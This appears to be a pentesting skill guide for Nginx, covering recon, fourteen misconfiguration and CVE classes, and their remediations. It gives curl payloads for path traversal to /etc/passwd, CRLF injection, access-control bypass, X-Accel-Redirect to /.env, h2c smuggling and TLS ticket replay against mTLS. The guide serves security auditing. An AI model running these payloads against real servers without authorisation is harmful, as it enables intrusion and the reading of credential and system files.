Nginx Pentesting Skill
A comprehensive guide for auditing and testing Nginx servers for security vulnerabilities and misconfigurations.
Quick Start
When testing an Nginx server, follow this workflow:
- Reconnaissance - Identify Nginx version, modules, and configuration exposure
- Configuration Analysis - Check for dangerous directives and misconfigurations
- Vulnerability Testing - Test for specific vulnerabilities with payloads
- Remediation - Provide fixes for identified issues
Reconnaissance
Identify Nginx Version and Modules
# Check version from response headers
curl -I https://target.com | grep -i server
# Check compiled modules (if you have access)
nginx -V 2>&1 | grep -i http_v3
# Check for HTTP/3 support
rg -n "listen .*quic" /etc/nginx/
Check for Configuration Exposure
# Try to access nginx.conf directly
curl https://target.com/nginx.conf
curl https://target.com/etc/nginx/nginx.conf
# Check for backup files
curl https://target.com/nginx.conf.bak
curl https://target.com/nginx.conf.old
curl https://target.com/nginx.conf~
Common Vulnerabilities
1. Missing Root Location
What to check: When only specific locations are defined without a root location /, the global root directive applies to all requests.
Vulnerable pattern:
server {
root /etc/nginx;
location /hello.txt {
try_files $uri $uri/ =404;
}
# No location / defined - root applies globally!
}
Test:
# Try accessing files in the root directory
curl https://target.com/nginx.conf
curl https://target.com/passwd
curl https://target.com/../../../etc/passwd
Fix:
server {
root /var/www/html; # Use a safe directory
location / {
# Explicitly define root behavior
try_files $uri $uri/ =404;
}
}
2. Alias LFI Misconfiguration
What to check: The alias directive without trailing slash can enable path traversal.
Vulnerable pattern:
location /imgs {
alias /path/images/; # Missing trailing slash on location
}
Test:
# Path traversal attempts
curl https://target.com/imgs../flag.txt
curl https://target.com/imgs/../../../etc/passwd
curl https://target.com/imgs..%2f..%2fetc%2fpasswd
# Check response codes
alias../ => 403 (blocked)
alias.../ => 404 (not found)
alias../../ => 403 (blocked)
Fix:
location /imgs/ {
alias /path/images/; # Add trailing slash to location
}
3. Unsafe Variable Use / HTTP Request Splitting
What to check: Using $uri instead of $request_uri in redirects or proxy_pass can enable CRLF injection.
Vulnerable patterns:
# Vulnerable - uses $uri
location / {
return 302 https://example.com$uri;
}
# Vulnerable - in proxy_pass
location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
}
# Vulnerable - regex capture
location ~ /docs/([^/])? {
# $1 is vulnerable
}
Test:
# CRLF injection test
curl -I "https://target.com/%0d%0aX-Injected-Header:%20test"
# Check for header injection
curl -I "https://target.com/%20X"
# Any HTTP code = potentially vulnerable
curl -I "https://target.com/%20H"
# 400 Bad Request = vulnerable (H is not a valid method)
# More aggressive tests
curl -I "https://target.com/%20HTTP/1.1%0D%0AXXXX:%20x"
curl -I "https://target.com/%20HTTP/1.1%0D%0AHost:%20x"
Fix:
# Use $request_uri instead of $uri
location / {
return 302 https://example.com$request_uri;
}
# Or use safe regex
location ~ /docs/([^/\s])? {
# $1 is now safe
}
4. try_files with $uri$args LFI
What to check: Using $uri$args in try_files can enable path traversal.
Vulnerable pattern:
location / {
try_files $uri$args $uri$args/ /index.html;
}
Test:
# Path traversal via query string
curl "https://target.com/?../../../../../../../../etc/passwd"
curl "https://target.com/?%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
Fix:
location / {
try_files $uri $uri/ /index.html;
# Don't use $args in try_files
}
5. Unsafe Path Restriction Bypass
What to check: Location blocks with deny all can sometimes be bypassed.
Vulnerable pattern:
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
Test:
# Try various bypasses
curl https://target.com/admin%00
curl https://target.com/admin/
curl https://target.com/admin..%2f
curl https://target.com/admin%20
6. Raw Backend Response Reading
What to check: Invalid HTTP requests bypass proxy_intercept_errors.
Vulnerable pattern:
http {
error_page 500 /html/error.html;
proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
Test:
# Send malformed request to bypass interception
curl -X GET --path-as-is "https://target.com/invalid\x00request"
# Check for exposed headers
curl -I "https://target.com/" | grep -i secret
7. merge_slashes Misconfiguration
What to check: When merge_slashes off, multiple slashes are preserved, potentially bypassing WAFs.
Test:
# Test with double slashes
curl https://target.com//admin
curl https://target.com///etc/passwd
curl https://target.com/admin//config
8. Malicious Response Headers (X-Accel-*)
What to check: Backend can send X-Accel-Redirect headers to force internal redirects.
Vulnerable pattern:
server {
root /; # Dangerous root
location /api/ {
proxy_pass http://backend;
}
}
Test:
# Try to trigger X-Accel-Redirect
curl -H "X-Accel-Redirect: /.env" https://target.com/api/test
curl -H "X-Accel-Redirect: /etc/passwd" https://target.com/api/test
Fix:
# Use a safe root directory
server {
root /var/www/html;
}
9. Map Directive Without Default
What to check: Map directives without default values can bypass authorization.
Vulnerable pattern:
map $uri $mappocallow {
/map-poc/private 0;
/map-poc/secret 0;
/map-poc/public 1;
# No default!
}
server {
location /map-poc {
if ($mappocallow = 0) {return 403;}
return 200 "Hello";
}
}
Test:
# Access undefined URI
curl https://target.com/map-poc/undefined
curl https://target.com/map-poc/anything
Fix:
map $uri $mappocallow {
default 0; # Add default
/map-poc/private 0;
/map-poc/secret 0;
/map-poc/public 1;
}
10. DNS Spoofing
What to check: External DNS resolvers can be spoofed.
Vulnerable pattern:
resolver 8.8.8.8; # External DNS
Fix:
resolver 127.0.0.1; # Use localhost
11. h2c Smuggling via Upgrade Headers
What to check: Passing Upgrade and Connection headers enables h2c smuggling.
Vulnerable pattern:
location / {
proxy_pass http://backend:9999;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
}
Test:
# Attempt h2c upgrade
curl -H "Connection: Upgrade, HTTP2-Settings" \
-H "Upgrade: h2c" \
https://target.com/
# Try to access protected endpoints
curl -H "Connection: Upgrade, HTTP2-Settings" \
-H "Upgrade: h2c" \
https://target.com/flag
12. HTTP/3 QUIC Vulnerabilities (2024)
What to check: CVE-2024-31079, CVE-2024-32760, CVE-2024-34161, CVE-2024-35200
Test:
# Check for HTTP/3 support
curl -I https://target.com | grep -i "Alt-Svc: h3"
# Check nginx version
nginx -V 2>&1 | grep -i http_v3
# Check for QUIC socket
rg -n "listen .*quic" /etc/nginx/
# Affected versions: 1.25.0-1.25.5, 1.26.0
# Fixed in: 1.27.0, 1.26.1
13. TLS Session Resumption Bypass (CVE-2025-23419)
What to check: TLS 1.3 session tickets can bypass mTLS.
Test:
# 1. Create session on public vhost
openssl s_client -connect public.example.com:443 -sess_out ticket.pem
# 2. Replay on mTLS vhost
openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof
# If connection succeeds without cert, vulnerable
What to audit:
- Mixed server_name blocks sharing ssl_session_cache
- Admin/API blocks expecting mTLS with shared session settings
14. HTTP/2 Rapid Reset (CVE-2023-44487)
What to check: High keepalive_requests or http2_max_concurrent_streams values.
Test:
# Check configuration
rg -n "http2_max_concurrent_streams" /etc/nginx/
rg -n "keepalive_requests" /etc/nginx/
# Default safe values:
# http2_max_concurrent_streams: 128
# keepalive_requests: 1000
Static Analysis Tools
Gixy-Next
# Install and run
pip install gixy-ng
gixy-ng /etc/nginx/nginx.conf
Nginxpwner
# Clone and run
git clone https://github.com/stark0de/nginxpwner
cd nginxpwner
python nginxpwner.py -u https://target.com
Remediation Checklist
After identifying vulnerabilities, apply these fixes:
- Set root to safe directory (not /etc/nginx)
- Add trailing slashes to alias locations
- Replace $uri with $request_uri in redirects
- Remove $args from try_files directives
- Add default values to map directives
- Use localhost for DNS resolver
- Remove Upgrade/Connection header passthrough
- Update Nginx to latest version
- Isolate TLS session caches per vhost
- Keep http2_max_concurrent_streams at default (128)
- Run gixy-ng for automated analysis